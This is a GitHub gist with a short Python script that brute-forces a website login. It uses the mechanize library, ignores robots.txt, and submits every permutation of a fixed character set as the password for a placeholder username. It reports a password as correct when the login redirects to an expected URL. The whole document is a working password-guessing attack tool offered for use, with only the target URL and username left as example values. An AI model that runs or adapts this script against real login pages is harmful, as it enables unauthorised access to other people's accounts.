Skip to content

Instantly share code, notes, and snippets.

@RDharmaTeja
Last active October 17, 2020 19:22
Show Gist options
  • Save RDharmaTeja/4b74aa5277166f4b2eaf to your computer and use it in GitHub Desktop.
Save RDharmaTeja/4b74aa5277166f4b2eaf to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations("i3^4hUP-",8)
br.open("http://www.example.com/login/")
for x in combos:
br.select_form( nr = 0 )
br.form['userName'] = "user name"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment